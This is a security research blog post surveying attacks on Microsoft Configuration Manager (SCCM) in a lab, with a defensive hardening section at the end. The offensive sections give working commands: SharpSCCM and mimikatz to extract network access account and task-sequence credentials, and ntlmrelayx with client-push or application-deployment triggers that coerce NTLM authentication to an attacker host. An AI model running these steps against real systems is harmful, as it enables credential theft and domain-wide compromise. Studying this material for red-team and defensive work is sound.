Active Directory Spotlight: Attacking The Microsoft Configuration Manager (SCCM/MECM)
Update May, 19:
- My SharpSCCM PR has been merged, new functionality and inline decryption of secrets is now included
- The Hacker Recipes page on SCCM/MECM has been updated
The Microsoft Configuration Manager (ConfigMgr) is an on-premise software management solution to deploy, configure and update managed endpoints. It's a high privileged - and therefore highly attractive - target for offensive operations and should be considered a TIER-0 system in most environments.
The Microsoft Configuration Manager (ConfigMgr) is better known as Microsoft's System Center Configuration Manager (SCCM), which also had been known as Microsoft Endpoint Configuration Manager (MECM) and was very recently (April 2023) once again renamed to Microsoft Configuration Manager. Most folks - myself included - keep referring to it as SCCM and in this post I will stick to this term.
There are many components and gears involved with SCCM, in fact SCCM can be quite a big ecosystem in itself, which doesn't really help in writing a comprehensive overview, but here's how I'll try to tackle that. In this post you will find the following blocks:
- A TL;DR section that summarize the main corner stones of this post
- An intro into what SCCM/MECM actually is and what it looks like, including a selective overview of its history.
- A section covering the offensive state of the art tooling and know-how
- An equivalent defensive section to capture blue-team takeaways I collected on the way
It should be noted here, that this post was developed from an offensive security standpoint and therefore focuses on attacks against SCCM. Moreover, this post serves as an overview of known attacks, along with some tool box additions. There's more research to be done, which will follow in additional posts. The following tool box additions have been contributed alongside with this post:
- A PR to SharpSCCM has been made to add functionality
- pxethiefy: A Python script to find PXE boot media in a network, which is heavily based on the amazing PXEThief tool.
- The Hacker Recipes page on SCCM/MECM has been updated
TL;DR
What's SCCM? The Microsoft Configuration Manager, formerly known as SCCM, is an on-premise software management solution to deploy, configure and update managed endpoints. It has been renamed multiple times (SMS -> SCCM -> MECM -> ConfigMgr), but will most often, this post included, be referred to as SCCM. While SCCM is an on-premise solution, Microsoft also offers a Cloud-native solution called Intune. SCCM and Intune are both solutions under the umbrella called "Microsoft Endpoint Manager".
Attacking SCCM Attacks and known offensive tooling can be categorized by the following attack stages: Recon, privilege escalation, lateral movement and persistence. These are the key takeaways of these stages:
- Recon: An SCCM environment can best be identified authenticated domain-joined position, e.g. by querying SCCM specific domain object or the local WMI database of managed SCCM clients. Enumerations from an unauthroized network position are possible, but might yield false positives.
- Privilege Escalation: The privilege escalation stage can be grouped into credential harvesting and authentication coercion attack techniques. An SCCM environment could provide various kinds of credentials and special accounts. Currently SharpSCCM is the most powerful tool for privilege escalation and lateral movement attacks.
- Lateral movement / persistence: Currently the most common way for lateral movement or persistence in an SCCM environment is by creating a new application and deploy it onto targeted devices managed by SCCM.
Defending SCCM From a network defender aka. Blue-Team perspective two separate fields can be covered: Hardening an SCCM environment and using it for attack detection:
- Hardening: There are various components in an SCCM environment that have to be reviewed for weaknesses, especially when special accounts like NAA or client push installation accounts are in use. A good starting point for hardening configurations can be found at the end of this post, in the SharpSCCM wiki, or on the SCCM reddit page.
- Attack Detection: When it comes to attack detection the Blue-Team should differentiate between detecting attacks against the SCCM environment itself and against managed devices. The monitoring capabilities of SCCM aid in detecting attacks and spotting anomalies on managed devices, while log files and WMI activity might be useful to spot attacks against the SCCM environment itself.
What is SCCM?
Alright, before getting into the offensive/defensive shoes, let's round up the basics. SCCM is an endpoint management platform for Windows clients, meaning its a software ecosystems to install/configure/change software packages on scale for managed clients. To get an idea of what that practically includes, here's an non-exclusive short overview SCCM capabilities:
- Install/uninstall applications
- Install patches/updates
- Run scripts
- Configure Windows/application/network setting
- Deploy operating systems
- ... and many other similar tasks
As SCCM comes with a wide set of capabilities, which rely on different technical components, SCCM comes with its own topology that includes different sites (or site systems) and different SCCM roles (ranging from central management roles to database server roles). That's why I referred to SCCM as an "ecosystem" before. Exploring and expanding on these components, which are especially important during the design-phase of an SCCM installation, is beyond the scope of this post (interested readers can dive into the official documentation here). But to get a feeling of how a real-world setup could look like, have a look at the following example setups from thehacker.recipes and serverfault.com:
The main takeaway - for the purpose of this post - is the following:
An SCCM installation spans across multiple logical roles, that could - but don't have to - be distributed between multiple servers.
To get a feeling for the look & feel for SCCM, I've attached a UI overview of the "Management Point" (MP) in my SCCM lab:
Note that "Management Point (MP)" is one of these roles I mentioned earlier and one that you'll definitely encounter when exploring SCCM in an environment. You can find short descriptions of the main roles in the bottom corner of the above screenshot, which I've extracted below for better readability:
This should hopefully be good to get an initial glance into SCCM. To wrap up this intro I want to give a selective and very rough overview of SCCM's development history, just to get a feeling of how SCCM evolved, along with some notes about security research projects covering SCCM:
You'll find the references to the it security talks, blog posts and tools covering SCCM at the end of this post.
Attacking SCCM
Let's break into SCCM from an offensive perspective. When attacking SCCM there are the following three (common) stages an attacker might traverse, which also aid in categorizing known SCCM offensive trade craft:
- Recon
- Privilege Escalation
- Lateral Movement (implicit Persistence)
Let's have a quick overview of what techniques are out there for these categories:
Let's dive into these techniques piece by piece...
Recon
The first step of an attack chain is always reconnaissance. So how do we figure out if SCCM is used in your target network? The easiest option would be to query for SCCM specific domain objects using a domain-joined account, as with the following PowerShell snippet:
PS C:\> ([ADSISearcher]("objectClass=mSSMSManagementPoint")).FindAll() | % {$_.Properties}
As highlighted above in my Lab the SCCM Management Point (MP) is located at SA-SCCM-1.SafeAlliance.local
with the site code of SAS
, where the SMS site code is a 3 digit ID to identify a site (remember there could be more than one site in a complex environment).
Another reconnaissance option is to query the local WMI database for SCCM authorities using PowerShell or SharpSCCM as shown the following snippet.
## PowerShell WMI query
PS C:\> Get-WmiObject -Class SMS_Authority -Namespace root\CCM
## SharpSCCM
PS C:\> .\SharpSCCM.exe local site-info
If you don't have a domain joined system at hand, one could broadcast for DHCP servers offering PXE (Preboot Execution Environment) boot media, which an SCCM server might offer. It's important to note here that SCCM can exists without offering PXE boot media and that servers offering PXE media could exist, which aren't SCCM components. Both cases would result in a false positive result.
... It's still worth a try though. My pxethiefy.py (which is based on PXEThief) can be used to query for PXE boot media, as shown below:
$:> sudo python3 pxethiefy.py explore -i enp0s8
As shown above in my Lab a server offering PXE boot is found at 10.250.2.32
.
Moreover PXE media files have been found, where the TFTP location of the offered files (\SMSTemp\...
) indicates that this an SCCM server (remember the acronym SMS from the intro).
Note that in this case the PXE media, which contains some further information on where/how to fetch additional boot data, is encrypted with a custom password.
Privilege Escalation
Currently there are two different path ways for privilege escalation routes in an SCCM environment:
- Credential harvesting
- Authentication Coercion
Credential Harvesting
Let's look at credential harvesting first, as it might be easier to exploit. Looking at the overview presented above, there might be a few terms that need to be explained in order to understand where we're looking for credentials. There is a lot more depth in these terms, but I'll try to keep it brief and concise. Follow the provided links to dig deeper. It's important to note, that credentials can be stored and cached in different places. Most commonly you can harvest SCCM credentials within these three locations:
- Locally on an SCCM (Windows) client. Most commonly stored in the WMI database or cached in the CIM store and some might also appear in SCCM log files
- Locally on an SCCM member server, where the SCCM Management Point (MP) usually hosts the biggest pot of gold
- Stored in Policy definitions that can be remotely fetched from Management Points
Below you'll find a brief introduction to different types of credentials and how these can be looted (I'm heavily using the amazing SharpSCCM here):
- Device Collection variables: In SCCM managed clients are also referred to as "devices". Devices managed by SCCM can be grouped in so called "collections". There are a couple of pre-created collections, such as "All mobile devices" or "All Systems", but an admin can also create custom collections such as "Windows 11 devices" or "Berlin office devices". An admin can now add custom (environment) "variables" to existing collections, which could for example contain application specific configuration data or actual sensitive data like passwords or other secrets. These variables can be read by SCCM installation routines (e.g. with TaskSequences), but could also be extracted by an attacker. Background information about these can be found here.
# Locally if device has been assigned Collection variables
## Locally from WMI
PS:> Get-WmiObject -Namespace ROOT\ccm\policy\Machine\ActualConfig -Class CCM_CollectionVariable
## Locally from CIM store
PS:> .\SharpSCCM.exe local secrets -m disk
## Locally from WMI
PS:> .\SharpSCCM.exe local secrets -m wmi
- TaskSequence variables: In SCCM "Task Sequences" are configurable steps that can be executed on a target environment. These "steps" can be used to do a wide variety of tasks, such "Join a computer to a domain", "Install or Upgrade an Operating System", "Run a given script", "Apply or change network settings" and so on. As many TaskSequence steps require additional information or explicit credentials often times sensitive content can be found in TaskSequence steps, for example credentials to join a computer to a domain. Background information on TaskSequences be found here and here.
# Locally
## Locally from WMI
PS:> Get-WmiObject -Namespace ROOT\ccm\policy\Machine\ActualConfig -Class CCM_TaskSequence
## Extracting from CIM store
PS:> .\SharpSCCM.exe local secrets -m disk
## Extracting from WMI
PS:> .\SharpSCCM.exe local secrets -m wmi
# Remotely from policy
PS:> .\SharpSCCM.exe get secrets
- NAA credentials: The Network Access Account (NAA) is a manually added (domain) account, which is used by an SCCM client (e.g. Windows 10 machine) to download content from an SCCM Distribution Point (DP), if the client cannot use its computer account to access the DP. By default an SCCM client will use its computer account to download content from an SCCM server, one common case where this is not possible is when the client is not (yet) domain-joined. For those cases an NAA is often created by SCCM admins. Important note: As it will be described in the defensive section later on, it's best practice to not use NAAs. Read more about NAAs here.
# Locally
## Locally From WMI
PS:> Get-WmiObject -Namespace ROOT\ccm\policy\Machine\ActualConfig -Class CCM_NetworkAccessAccount
## Extracting from CIM store
PS:> .\SharpSCCM.exe local secretes disk
## Extracting from WMI
PS:> .\SharpSCCM.exe local secretes wmi
## Using SharpDPAPI
PS:> .\SharpDPAPI.exe SCCM
## Using mimikatz
.\mimikatz.exe
mimikatz # privilege::debug
mimikatz # token::elevate
mimikatz # dpapi::sccm
# Remotely from policy
PS:> .\SharpSCCM.exe get secretes
- Client Push Credentials: In order to manage devices, the SCCM Management Point (MP) will install SCCM "clients" to all managed devices. There are multiple options to roll-out these "SCCM clients" to the devices, where the "Client Push Installation" is one option (notable the least secure option). Similar to NAAs are "Client Push accounts" dedicated, manually added accounts that have local admin rights on the targeted devices to install the SCCM client. Learn more about Client Push Accounts here.
Currently I'm not aware that these credentials are stored in any remotely accessible policy, which could be queried, nor that these credentials are cached locally on SCCM clients to be harvested at any given point. You could, however, catch them off the wire with mimikatz or with relay attacks (to which we get in a minute).
Also if you happen to have admin access over a Management Point (MP), you might be able to extract these credentials from the local WMI store of the MP with the following snippet.
## Requires admin access to Management Point
PS:> Get-WmiObject -Class SMS_SCI_Reserved -Namespace ROOT\SMS\site_SAS
- Application & Script Looting: Application and scripts are natural deployment objects of SCCM. Of course these can also contain sensitive information or credentials, which can be looted.
Currently I'm not aware of any tool that looks for secrets in application data or scripts, hence the "Research" note in the overview graphic.
As a summarizing impression of how this might end up looking, see the below example in my Lab:
Authentication Coercion
Credential Harvesting is not the only option when it comes to privilege escalation with SCCM. As shown in the overview graphic there's also an authentication coercion option when client push installation is used. I'm not going into the details of this technique as there is this amazing blog post by Chris Thompson (the author of SharpSCCM), which introduced and explained this technique in great detail. You definitively want to read that post before attempting a coercion attack. Important note here:
If you run this attack without administrative privileges over the SCCM Management Point (MP) you will leave traces behind in the form of device objects that will be created on the MP.
Therefore if you don't want the SCCM Management Point to look like the following, read Chris Thompson's blog post and if possible try to receive administrative privileges over the MP before running this attack (in which case you can use an "admin" switch to avoid creating extra devices).
Anyhow, if you have read Chris's blog post, here are the steps to run down this attack:
Step 1: Prepare coercion receiver Note that you could either capture & crack received credentials or relay them to a suitable target system (or both).
# On Linux
## Relay using ntlmrelayx.py
$:> python3 examples/ntlmrelayx.py -smb2support -socks -ts -ip 10.250.2.100 -t 10.250.2.179
# On Windows
## Credential capture using Inveigh
PS:> .\Inveigh.exe
Step 2: Trigger Client-Push Installation
## If admin access over Management Point (MP)
PS:> .\SharpSCCM.exe invoke client-push -t <AttackerServer> --as-admin
## If not MP admin
PS:> .\SharpSCCM.exe invoke client-push -t <AttackerServer>
Step 3: Cleanup
If you run the above SharpSCCM command with the --as-admin
parameter (cause you have admin privileges over the MP), there's nothing to do. Otherwise get in contact with the administrator of the SCCM system you just messed up and provide the name or IP of the attacker server you provided in the -t <AttackerServer>
parameter. This is the device name that will appear in SCCM (as shown with the screenshot above, where I used -t 10.250.2.100
)
Lateral Movement
Alright let's turn to the last offensive trade craft block, which is lateral movement. The lateral movement phase assumes you gained at least some sort of privileges that can be used to move forward. In the previous sections I referred to SCCM admin rights here and there, but note that there is not a single unified admin-role, but instead there are 15 built-in admin roles (version 2203), where the most powerful is the "Full Administrator" role that grants you all privileges.
User Enumeration
A solid first step in moving laterally within SCCM is to enumerate admin and special accounts of the SCCM environment. In other words who is "Full Administrator", who is "Application Administrator" and what NAA or Client Push Accounts do exist. To get a list of SCCM administrative users, the following command can be used, but note that you need admin privileges on the Management Point (MP) in order to succeed with this.
PS:> .\SharpSCCM.exe get class-instances SMS_ADMIN
Analogous the following command can be used to find special accounts (NAA & Client Push Accounts)
PS:> .\SharpSCCM.exe get class-instances SMS_SCI_Reserved
Application Deployment
After the enumeration phase it's time to move laterally. Currently the only method I know of to abuse SCCM components for lateral movement is by creating and deploying an application/script to execute code on another device. There are a few key takeaways to be aware of when planning this step:
- Most likely you do not want to spray your payload all across an enterprise, but instead make it targeted (target a specific user or a specific device). Make a plan for what you want to deploy where
- It's a good idea to scope the deployment of your implant. A common way is to create a new device collection, add your target device to that collection, create an application and deploy this application to this specific collection
- You should ensure you have sufficient administrative privileges to pull off all parts of your attack chain (create device collection, add device to collection, creating application, deploy application, etc.)
- Cleanup: You want to cleanup all your steps (delete application, delete created device collection, ...) after your exploit attempt
There are different tools available to complete this job, e.g. MalSCCM (the blog post introducing this tool can be found here), or PowerSCCM, but I will - once again - use SharpSCCM for my sample run down.
Step 1: Confirm access permissions
Use the following command to confirm your current account holds sufficient SCCM administrative permission to pull off your execution plan:
PS:> .\SharpSCCM.exe get class-instances SMS_Admin -p CategoryNames -p CollectionNames -p LogonName -p RoleNames
Step 2: Find target device
Next up, I want to find a target device to exploit. Important note here: A target device must fit the following requirements to allow exploitation:
- The device must be "active", meaning it must be an active SCCM client
- The device must be "online" and reachable (ping it to ensure its reachable)
As an example have a look at my SCCM Management Point after some playing with it:
Note that not all devices managed by SCCM have to be active SCCM clients and that not all devices have to be alive (or reachable). As an attacker you won't have this view, but you can use SharpSCCM to query the WMI database on the Management Point to find suitable devices:
## Search for device of user "Frank.Zapper"
PS:> .\SharpSCCM.exe get primary-users -u Frank.Zapper
## List all active SCCM devices where the SCCM client is installed
### CAUTION: This could be huge
PS:> .\SharpSCCM.exe get devices -w "Active=1 and Client=1"
In my case I'm specifically looking for the device of the user "Frank.Zapper" (cause I know it's valuable). Capture the following information when looking for a target device:
- Ensure it's Active (
Active: 1
) - Ensure the SCCM client is installed on it (
Client: 1
) - Note down the device's resource name or resource id (
ResourceName: XXX
,ResourceID: XXXX
). I do prefer to work with the ResourceID
Step 3: Deploy Application to target device
In this final step you can chose to either create an actual application to deploy to the target machine or just trigger an install from a remote UNC Path in order to capture and relay an incoming NTLM authentication. Note the following:
- Coercing an authentication might be stealthier (and requires less cleanup) than actually installing an application
- To capture and relay NTLM credentials, the target device must support NTLM (very likely).
- The neat part: The Authentication can be coerced using the logged-on user account of the device OR the device computer account (you can choose)
For this demo I'll chose to trigger the deployment to capture an NTLM challenge response, but not to actually install an application. To do so I'm using the following SharpSCCM command:
PS:>.\SharpSCCM.exe exec -rid <TargetResourceID> -r <AttackerHost>
This command will trigger the following events:
- A new device collection is created (to only target the specified device)
- The target device is added to the new collection
- A target application is created, with an application path pointing to the attacker's machine
- All devices of the new collection are tasked to install the new application
Lastly before triggering the deployment, let's fire up the attacker's listener:
## ntlmrelayx targeting 10.250.2.179
$:> sudo python3 ntlmrelayx.py -smb2support -socks -ts -ip 10.250.2.100 -t 10.250.2.179
## Also keep Pcredz running, just in case
$:> sudo python3 ./Pcredz -i enp0s8 -t
And finally let's kick of the attack:
PS:>.\SharpSCCM.exe exec -rid 16777220 -r 10.250.2.100
Note that it might take a bit for the authentication to roll in (in my very small environment it took about 1 minute). But eventually ....
Note that in this case the relay was not successful, which was intended as this should only serve as a proof of concept.
Also note that I've chosen to execute the deployment in the context of the logged-on user. If you want to trigger the deployment using the target device's computer account use the flag -s
or --run-as-system
, e.g.:
PS:>.\SharpSCCM.exe exec -rid 16777220 -r 10.250.2.100 --run-as-system
And that's a wrap for the offensive side, let's head over to the defensive side.
Defending SCCM
Configuration Best Practices
While delving into SCCM I came across the following best practice recommendations, but note that I am by no means an SCCM admin or expert so apply caution when applying these:
SCCM Accounts:
- Ensure there are a reasonable number of SCCM administrators in your environment
- Ensure all administrators are dedicated admin accounts, instead of "regular" user accounts (account separation)
- Do not use an Network Access Accounts (NAA), instead make use of Enhanced HTTP
- If NAAs have been used in the past, note that these are cached on SCCM clients (even after the NAA is removed), see this great post on this. Therefore disable or remove all NAAs in your Active Directory environment.
- Audit SCCM Administrator activity
SCCM Client Installation
- If possible try to avoid Client Push Installation, as Microsoft's explicitly states that:
Of all the client installation methods, client push installation is the least secure because of the many dependencies it has. These dependencies include local administrative permissions, the
Admin$
share, and firewall exceptions. The number and type of these dependencies increase your attack surface.
- If you have to use Client Push Installation: Do not enable the "Allow connection fallback to NTLM" for Client Push Installations
TaskSequences
- Keep TaskSequences clear of sensitive data, especially credentials as TaskSequence data is stored in plain-text and might be stolen by an attacker
PXE Boot
- Allow PXE boot only from trusted network segments
- Disallow "F8-Debugging" in production PXE boot networks
- Require a PXE password prompt with a strong password
- Limit access to OSD media files, such as
.wim
,.var
files as these could contain sensitive data
Side note: A few days before releasing this post I saw that Chris Thompson also added best practice recommendations to the SharpSCCM Wiki, which match with my observations from above.
Attack Detection & Hunting
There is really not much I can add here, but I thought it might nevertheless be worth to share a few notes corresponding to attack detection and threat hunting with SCCM:
- SCCM does not seem to use the Windows Event Logs a lot - neither on clients nor on management servers -, instead a wide range of log files are created, which appear to be primarily for debugging purposes, but might also aid in hunting. A reference of log files can be found here
- Many recon & enumeration techniques utilize the WMI database on SCCM clients or servers. Sysmon might aid in finding suspicious WMI activity (at least on SCCM management servers). There is also a Sysmon WMI Events Guide by TrustedSec here, which might be helpful.
- SCCM brings quite rich monitoring facilities, which could be used to detect attacks against the SCCM environment itself and also other suspicious behavior on managed clients. I did not look into this area of SCCM, but found a few blogs on the topic here, here and here
References
For anyone interested in a tour through the various IT security research topics, here are the main contributions that crossed my way in chronological order:
- 26.07.2012 - Dave Kennedy's talk on DefCon20: Owning One to Rule Them All
- 01.11.2013 - hexacorn's blog post: SCCM (System Center Configuration Manager) and Incident Response
- 30.01.2015 - hexacorn's blog post: SCCM (System Center Configuration Manager) and Incident Response – Part 2
- 27.10.2015 - enigma0x3's blog post: Targeted Workstation Compromise with SCCM
- 23.11.2015 - Keithtyler's blog post: Microsoft's Accidental Enterprise DFIR Tool
- 30.11.2015 - Release of SCCM-Enumeration by cr0n1c
- 16.01.2016 - Intro and Red Team Upgrades Using SCCM for Malware Deployment Matt Nelson (enigma0x3)
- 27.01.2016 - cr0n1c's blog post: Using SCCM to violate best practices
- 28.01.2016 - Release of PowerSSCM by Harmj0y & enigma0x3
- 29.02.2016 - enigma0x3's blog post: Offensive Operations with PowerSCCM
- 01.03.2016 - harmj0y's blog post: PowerSCCM
- 04.05.2022 - nettitude's blog pst: Introducing MalSCCM
- 13.04.2022 - SpecterOps blog post: Coercing NTLM Authentication from SCCM
- 28.06.2022 - SpecterOps blog post: The Phantom Credentials of SCCM: Why the NAA Won’t Die
- 01.07.2022 - Trimarc's blog post: Push Comes To Shove: exploring the attack surface of SCCM Client Push Accounts
- 09.07.2022 - xpnsec's blog post: Exploring SCCM by Unobfuscating Network Access Accounts
- 29.07.2022 - MWR blog post: Identifying and retrieving credentials from SCCM/MECM Task Sequences
- 09.12.2022 - Trimarc's blog post: Push Comes To Shove: Bypassing Kerberos Authentication of SCCM Client Push Accounts.
- 12.01.2023 - SpecterOps blog post: SCCM Site Takeover via Automatic Client Push Installation
- 14.02.2023 - MWR's blog post: An inside look: How to distribute credentials securely in SCCM
- 21.02.2023 - Release of sccmhunter